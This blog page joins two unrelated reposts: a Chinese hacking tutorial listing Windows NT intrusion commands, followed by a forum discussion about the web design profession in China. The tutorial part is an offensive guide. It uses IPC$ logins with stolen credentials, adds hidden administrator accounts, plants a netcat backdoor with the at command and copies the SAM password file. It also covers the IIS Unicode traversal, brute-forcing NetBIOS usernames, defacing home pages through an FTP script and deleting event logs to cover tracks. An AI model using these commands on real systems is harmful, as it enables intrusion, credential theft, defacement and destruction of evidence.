[分享]一般入侵所需要的几个常用命令

如果写得不好别笑啊。我觉得写这些更有用，不会像其他人一样写一些很无聊不现实的文章。当然这只是我的想法，我也有缺点的。

一般入侵所需要的几个常用命令

如果写得不好别笑啊。我觉得写这些更有用，不会像其他人一样写一些很无聊不现实的文章。当然这只是我的想法，我也有缺点的。

1：NET

只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！

这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1

net use \\127.0.0.1\ipc$ "123456" /user:"hbx"

退出的命令是

net use \\127.0.0.1\ipc$ /delte

下面的操作你必须登陆后才可以用.登陆的方法就在上面.

----------------------

下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.

我们加一个heibai的用户密码为lovechina

net user heibai lovechina /add

只要显示命令成功,那么我们可以把他加入Administrator组了.

net localgroup Administrators heibai /add

----------------------

这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.

net use z:\\127.0.0.1\c$

----------------------

net start telnet

这样可以打开对方的TELNET服务.

----------------------

这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。

net user guest /active:yes

----------------------

这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！

net user guest lovechina

net命令果然强大啊！

2:at

一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？

那么需要用AT命令，这里假设你已经登陆了那个服务器。

你首先要得到对方的时间，

net time \\127.0.0.1

将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1

at \\127.0.0.1 12:3 nc.exe

这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上.

这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用,它可以与远方做连接，不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.

telnet 127.0.0.1 99

这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.

4:FTP

它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个WWW.51.NET,不错的.当我们申请完后，它会给用户名,密码,以及FTP服务器.

在上传前需要登陆先，这里我们假设FTP服务器是WWW.51.NET,用户名是HUCJS,密码是654321

ftp www.51.net

他会要求输入用户,成功后会要求输入密码.

----------------------

下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\

get c:\index.htm d:\

假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下

put c:\index.htm d:\

5:copy

下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。

这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下

copy index.htm \\127.0.0.1\c$\index.htm

----------------------

如果你要复制到D盘下把C改为D，就行了！

copy index.htm \\127.0.0.1\d$\index.htm

----------------------

如果你要把他复制到WINNT目录里

就要把输入

copy index.htm \\127.0.0.1\admin$\index.htm

admin$是winnt

----------------------

要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名

下面就把127.0.0.1的数据库复制到本地C盘下

copy \\127.0.0.1\admin$\repair\sam._ c:\

----------------------

6：set

如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！

下面是我得到的结果！我来分析它，只是找主页在那而已。

COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT

粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。

7：nbtstat

如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！

现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。

命令是

nbtstat -A XX.XX.XX.XX

-A一定要大写哦。

下面是得到的结果。

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是<03>的话，那他前面的就是用户。

这里的用户是PENTIUMII。

8：Shutdown

关了对方的NT服务器的命令

Shutdown \\IP地址 t:20

20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。

9：DIR

这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。

你可以本地试下。

10：echo

著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。

我们假设我们要把"南京大屠杀铁证如山，任何日本人不得抵赖！"写入index.htm，有2种方法，大家看看有什么区别。

echo 南京大屠杀铁证如山，任何日本人不得抵赖！>index.htm

echo 南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm

第一个的意思是覆盖index.htm原有的内容，把"南京大屠杀铁证如山，任何日本人不得抵赖！"写进index.htm。

第二个的意思是把"南京大屠杀铁证如山，任何日本人不得抵赖！"加到index.htm里面。

">>"产生的内容将追加进文件中，">"则将原文件内容覆盖。

大家可以本地试下。

可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。

1、首先，我们需要申请一个免费的主页空间。

2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。）
open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的）
cnhack（你申请时的用户名）
test（你申请时的密码）
get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm）
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）

具体的做法：
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。）

等命令完成时，文件已经下载到你指定的文件里了。

注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。）

记得要 del c:\cnhack.txt

11:attrib

这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。

attrib -r index.htm

这个命令是把index.htm的只读属性去掉。

如果把"-"改为"+"则是把这个文件的属性设置为只读

----------------------

attrib +r index.htm

这个命令是把index.htm的属性设置为只读。

12:del

当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。

NT的日志有这些

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。

写得很拦，错误也许一大堆。没办法，我菜啊。555555555555555~~~一定要努力。

其实我只是在抄别人的文章的精华，如果有错可要指出啊！内容很乱，想到什么就写什么，所以很乱，如果要转，请帮我整理一下，先谢了。

转自网易北京社区系统集成版 by coolangel_2002(剑客)

- 作者： ilovefangfang 2004年11月6日, 星期六 14:02　回复（0） |　引用（0）加入博采

以此文献给中国的网页设计师们

这是一篇蓝色理想论坛里的2000年的帖子，讲的不错，值得一看！

"路漫漫其修远兮，吾将上下而求索！"
——献以此文献给中国的网页设计师们

注：首先声明可能文章有些长，大家要有点耐心，我不想看到ONLY的那篇贴子有位网友的回贴是"文章太长，没看完！"......

看了ONLY写的文章，我想终于经典论坛上的朋友开始抛开纯技术（或设计）的局限，开始讨论一些更具高度的话题。心中也有些自己的愚见，在此仅仅想抛述自己的观点，无非是抛砖引玉，希望大家都能把自己的想法心得说出来，与大家共享，能更好地把握自己的未来！

一、网页设计与网页制作

首先我们先给两者下一个定义：

网页设计=网页技术+网页设计

网页制作=网页技术

可看两者的唯一区别就在于"设计"两个字。两者的区别到底是什么呢？

谈到设计与制作的区别，不得不提一些日常生活中已经碰到的事情，我的一位朋友自己做了一个网站，向我证求意见时，我说你应该把网页做得美观些，他立即回答，为什么要做得美观啊，我的网站是用来赚钱的，不是给学生看着玩的......面对如此理由充足的回答，你还能说什么呢？

我们先再举一个例子，我们不说远，在文化大革命时，大家都穿同样款式的衣服，同样款式的帽子，那时候如果有个服装设计师对他们说：HI，你们的衣服为什么不穿得FUSION一些呢？是不是没有会做呢？要不要我帮你们设计一套？这时候他们的回答肯定会和我的朋友一样：衣服只要能保暖，花里胡哨的有什么用呢？听了上述两个有惊人相似的例子，大家是否应该有些隐隐地感觉网页设计最本质的东西？

我们是否可以有这样一个结论：设计本身是社会高度商业化后的必然产物呢？当两家相同规范的厂家生产相似的产品时，各方面条件都相似的时候，那么他们还能通过怎样的途径来宣传产品，深化企业形象，于是企业识别系统（CIS）不断地被人们承认，被市场接受，并不断成熟，现在已经没有人再来怀疑CIS的重要性，或者是存在的必要性。

通过CIS的发展过程，我们可以隐约地看到网页设计的一条发展之路：在互联网的初始阶段也是各立门户地阶段，就像新大陆一样，没有任何的竞争对象，我们无需考虑任何的细节问题，不要说设计，连内容多少都无需考虑；到第二阶段时同类型的网站渐渐增多，相互之间的利害冲突越来越激烈，这时网站需要发展的是内容，也就是他们的产品（信息），这也就是内容至上，功能为王的竞争时代；而到第三阶段，才是网站整体设计真正发挥其作用的时候，当大家都有内容的时候，这时如何更合理地安排内容，如何更合理地突出主题，如果更合理地反映网站品牌就迫不急待地摆在大家面前。这时谁有优秀的网站整体设计方案那么他就能在同类站点中脱颖而出。

二、建站真的那么容易吗？

也许当初做个人站点的网虫太多了，再加上相关技术杂志的炒作，建站在老百姓心目中似乎比做饭还容易，是啊，拿Frontpage做个只有个人简历和兴趣爱好的个人网站是举手之劳的事情，在国内互联网开始发展的初期，几乎大部分的网站构造都非常简单，实现难度非常小，需要考虑的东西也非常少。但是网站不断商业化运行之后，建站变得越来越复杂，这个话题也变得越来越重。让我们来看一下现在真正的建站流程：

站点定位 > 策划方案 > 资料收集 > 站点框架设定 > 站点流程定义 > 各级栏目页面的框架草图 > 各级栏目页面的样图 > 制作页面模板 > 静态页面制作/后台程序开发（可同时进行） > 页面整合 > 局域网调试 > 发布（上传/服务器配置/数据库配置） > WWW调试 > 正式发布 > 永不止境的维护工作（直到网站倒闭为止）。

上述步骤每一步都需要不同类型的专业人才来完成，有些经常需要多种类型的专业人才协同完成。光这些整理出来的文档订在一起就不会是一本太薄的书。而且还要考虑如何维护/如何分工合作的细节文档。可见这是一件系统的工程。当有人真正做为其中一份子投入到一个准商业站点的建设中去的时候，那么他再也不会说"建站人人会建"这种话了。。。

三、网页设计师在国内的地位？

ONLY的文章向大家提出了一个非常好的问题，我做这个行业已经有二年整的时间了，许多朋友介绍时，都说："噢，他是在公司做网页的......"。

我们知道，在计算机这个行业，清晰地有一道分水岭：程序员与设计师，以前碰到一个程序员，曾经不无骄傲的对我说：你们是用Dreamweaver，而我们是开发Dreamweaver的......当时我只想回答他的是："但是......你Dreamweaver不会用的比我好，而且更惨的是你也开发不出Dreamweaver这样的软件......"，现在想想这种问题和这种回答都太幼稚了，这两者根本没有必要进行比较，是两个不同的领域，因此两者之间根本没有谁高谁低的关系。那么为什么现在程序员的薪水要比设计师的薪水要普遍高一些呢？（不知道在国外一名优秀的Web Design和一位优秀的Web Programer的薪水是否也在存在这种情况呢？），我认为这是由公司需求（或者说市场需求）决定的，简单的说，也就是现在公司更着重网站程序一块的开发，对网站的设计部分需要并不是很强烈，因此当然程序员要在公司（或者行业）要比设计师更吃香了。。。

因此只有国内的互联网进入了上文所述的第三阶段，真正需要网页设计师时，那么什么时候网页设计师在国内的地位就能够得到承认，能够得到认可。

四、我们应该做些什么？

市场的进化需要时间来完成，某一个人或者某一家公司都无能为力，那么现在网页设计师应该做些什么呢？在此给大家一些自己的建议。首先要目标明确，你要了解自己将来想做什么？并且是否能胜任这一职业？然后才根据此目标来确定应该掌握的相应技术，现在开始就全面地武装自己。

我一直给我身边的朋友的忠告是：作为一个人来说，你无法把握社会如何发展，如法把握公司将会如何发展，你唯一能把握的就是你自己！所以要不断地提高自己！

大家如果真的想做一名优秀网页设计师的话，真的应该去学习一些设计，就像蓝色说的一样："多看，多想，多实践，少说废话......"越来越多的平面设计师向网页设计转型，他们有设计的底子，唯一缺少的就是技术一块，所以大家都有机会，真正的网页设计师肯定是网页技术高手和设计高手的结合，这才是给网页设计师最好的诠释！

"路漫漫其修远兮，吾将上下而求索！"——送给经典论坛的所有朋友共勉！！！

Dreamy.
[纯粹个人意见，欢迎大家批评指正！！！]

Dreamy呼我来看看，我就来看看，然后我再来说说：

网站开发（我是这样来定义Dreamy所说的这个工作的，并且认为这个工作在大的范围上正在向行业迈进，当然我认为网页的设计与制作是其中的一个字集）作为一个行业，其出现和发展有多久的历史我不好说，但我觉得网站开发在国内的发展也就最多近四年以来的事情。任意拿一个成熟的传统行业（比如电话）的发展道路来看，四年的发展还远不足以成其雏形，从此角度上来看，我认为"网站开发"这个行业在国内的发展相比于其他行业来看还算长足。

但将之与国外相同的行业来比看一下，我们现在的这个行业还实在太不成熟，整个行业的工作性质处于一个非常初级的阶段，并且缺乏行业气氛。我觉得网页设计与网页制作仅是整个流程中最初级的部分（就象服装行业中的设计和成衣出品）。而附和在这些表面的工作之后的是项目流程的管理、人力资源的管理、网站的运做和维护等等许多工作环节。再看现在国内的网站，假设在页面制作、程序开发、维护方面还说的过去的话，整个项目和流程的管理实在一塌糊涂，运做中的内耗远远大于内容。相反国外越是大型的网站在项目管理方面越是井井有条，服务功能的开发和推出环环相扣。

最后，我觉得现在我们所做的网站，在很大程度上仅是从开发者的角度去对待，而很少会从用户的角度来考虑。因而，即使一些设计不错的网站，其访问者对之的评价始终只能停留在"不错"、"COOL"之类的赞益，或许这也和我们现在在商用美术方面的落后有甚关系。

我逐字看了ONLY的帖子，又逐字看了DREAMY的帖子.....但是说实话，我并不想说太多。心间感到一股悲壮间杂着凄凉的感触。的确，中国网页设计师现状堪舆，其实，之于设计，又何止网络。

我先后从事过国家媒体、广告、网络、影视公司，接触过很多种类的设计，或者广义来说的创造。平面、广告、影视、工业，当然也包括网络。说句大白话，无论在哪个领域，我们和世界水平的差距都很大。还记得我做过一个有关FARRARI的片头么？亲眼看到FARRARI的概念车，唯一的感觉就是，中国的汽车工业设计，去死吧。虽然很残忍，虽然我也不想看到世界设计市场上没有中国人的一席之地，虽然....

好了，来说说什么是设计吧，我个人从来不把设计看成是艺术，但是我坚信设计是需要美学的，因为设计是一种视觉创作，我的概念里，设计就是视觉美学+部分专业知识。前者是互通的，后者是根据行业的不同而不同的，对于网页设计师，后者也许等于Photoshop，等于Dreamweaver，等于Javascript，等于flash......我想，我们是时候考虑一下我们真正需要的是什么？真正需要学习的是什么？

成熟的设计建立于成熟的分工，别忘了，设计是商业，对于一个大项目，我一向把它看成一个公司行为，它包括制作、原料加工、市场营销，具备一个完整商业行为的种种环节，我不认为这是一两个人可以完成的。设计，只是整个流程中的一个环节，也许我们认为它很重要，事实上，它是很重要，但是，毕竟只是一个环节，我们要做的，就是让这个环节趋于完美。所以，在这里，我想问大家一个很现实的问题，有没有对自己有一个准确的定位和发展计划？因为网页设计师在中国已经是一个实在很模糊的概念了。你，想做一个什么样的设计师？举个例子，3D动画里，就有专门负责建摸或者贴图或者动画的设计师。分工导致细节的完美，新经济时代中，工业时代的某些东西我们仍旧应该学习。

设计师的地位，我很早就说过这个问题了，一个是市场对这一环节的忽视，一个是设计师本身的问题。对于第一个问题，我想问，市场真的忽视了么？很多客户，带了很多功能上的要求来谈项目，最后反复要我们修改、返工的几乎全部是视觉设计上的问题。设计师有什么问题？一曰混乱，拿个大学生会用WORD的另存为网页项都叫自己WEB DESIGNER；二曰骄傲，在公司里做事最受不了某某人自称FLASH高手却没听说过FSCOMMAND；三曰泛滥，中国的设计师是世界上最全能的设计师，其实哪方面都烂得可以，这个可以拿我自己开刀。

我习惯反思人的主观原因，当然其实是存在客观原因的。教育、社会、公司体系、语言、文化，都导致了阻力。这些东西可以写一本书，我不想多说了，相信平时大家也在抱怨。其实我很感激有经典这样的讨论氛围和平台，我也在努力想搭建一个我心中的理想平台，我唯一想说的是，当每个人都可以象兰色这样，凭自己的一己之力，努力在小环境中建立这种良性的讨论的可能性，可能对于设计行业并不会带来太大影响，可是，当千千万万的小环境都在做同样的努力的时候，我们的前面，就算是充满的荆棘，也会有无穷的力量去开拓去拼杀，小环境，小到我们每个个体。所以，别忘了，在埋怨客观原因的同时，你也是客观的一部分。

好了，其实我不是话很多的那种人，如果这些话能让你的眼光停留一下，思考一下，我的目的也就达到了，毕竟，文字，也就这点作用。

看了前辈高人说的一席话，我实在忍不住，我也来说几句吧。
首先说明一点的是：我没有在任何一家网络公司做过，现在的工作也跟互联网无关，如果有说得不好的地方请大家包含，板砖、石头尽管飞过来就是。

我一直关注的中国的互联网，看到她从无到有，再到高潮，然后又重重地掉到低谷，其从业人员的素质是另人堪忧的，传统行业中的很多有实力有水平的人并没有进入网络行业。他们包括广告行业、美术行业、电脑行业、管理行业、营销行业等，因为我认为一个新兴行业的发展不光是一笔风险投资投进来，请几个人做几个网站，弄几个电子商务，就可以发展起来的，令我欣喜是我看到了互联网业的调整，这个调整对于互联网业是非常有利的，他不但可以对互联网公司进行一次优胜劣汰，进行一次重组，而且对其中的从业人员也进行了一次优胜劣汰，这对于将来的发展是极其有利的。我不喜欢别人说互联网是泡沫，因为这点泡沫算什么，中国在互联网中的投入不是太多了，而是太少了。

再说说前面高人们说的网页设计吧。
我比较同意DREAMY的公式：

网页设计=网页技术+网页设计

但我认为这种说法还不全面，还应该加入更加深刻的内涵就是"设计管理"
这种说法只是我的一种想法

网页设计=网页技术+网页设计+设计管理

我认为DREAMY说的只是一种硬件上的东西，或者说是"网页设计艺术"但是市场是无情的，用户的需要的是最直接的。不管是对于大型网站的管理，还是对于专业网页设计公司来而言，最关键是如何达到目的，在需要的时间内达到目的。如果一味追求其艺术性将失去其生存的意义的。比如说老蒋的FLASH作品艺术性、观赏性是非常高的，大家对其水平的也是有目共识的，但如果不进行商业化实在可惜了，我也经常性地跟他说要他商业化，他也同意我的观点。

我也从DREAMY的文章中看出了最关键的是用户需要，其实设计的东西够用就行了。
我想我们说了这么多，我们应该按两个方面来讨论网页设计的东西：
一个方面是：艺术化的网页设计
另一个方面是：商业化的网页设计
我想这样讨论才真正有其可比性。

我从事编程工作多年，软件工程的思想已经在我的大脑中根深蒂固，推而广之，商业化的网页设计就象是一个系统工程，既然是系统工程就有应将其分成几个阶段：需要分析－＞网页设计－＞网页制做－＞网页测试－＞修改设计......－＞网页维护，这样才能真正算是一个真正的网页设计工程，工程中每个环节都有其独自的特性，并不是其它的的内容可以代替得了。真正的网页工程更不是这么简单，上面的设计过程仅仅是对于纯粹网页设计的范畴，并没有涉及人员的管理、工程进度的管理，如果加上这两项内容更加是一个复杂的系统工程，而目前很多人想的只是在系统工程中的一个环节而已。真心的希望我的话能够给一些人带来思考。

二谈找工作与学习
看了ONLY的文章，真是的很有感触，最近我一直想从传统行业中转到互联网行业，我一直在找工作，我应聘的工作不外乎两种：网页设计与后台骗程。
在不停的面试中被问得最多的问题就是：你做过什么？你能做什么？你想做什么？
其实从这几个问题中可以清楚地看出公司的倾向：任何一家公司不可能招一个闲人进来，不可能招一个人进来学习，然后等他学好了再跳到其它的公司。对于应聘的人，你应该多多想想，我可以为贵公司带来什么！我可不可以为该公司赚钱！
学习的目的是提高自己让自己在这个高速发展的社会中生存，所以我认为要学就一定要超前，因为在真正学会后社会的发展就正好进入到其应用的阶段。关键是一定要能看出未来社会发展和需要，然后再根据这种需要和要求来有针对性的学习。打个比方现在就真的得学XML了。

算了，说了这么多，浪费了大家这么多时间，如果真的对你有所裨益，我就很没有白打这么多字了。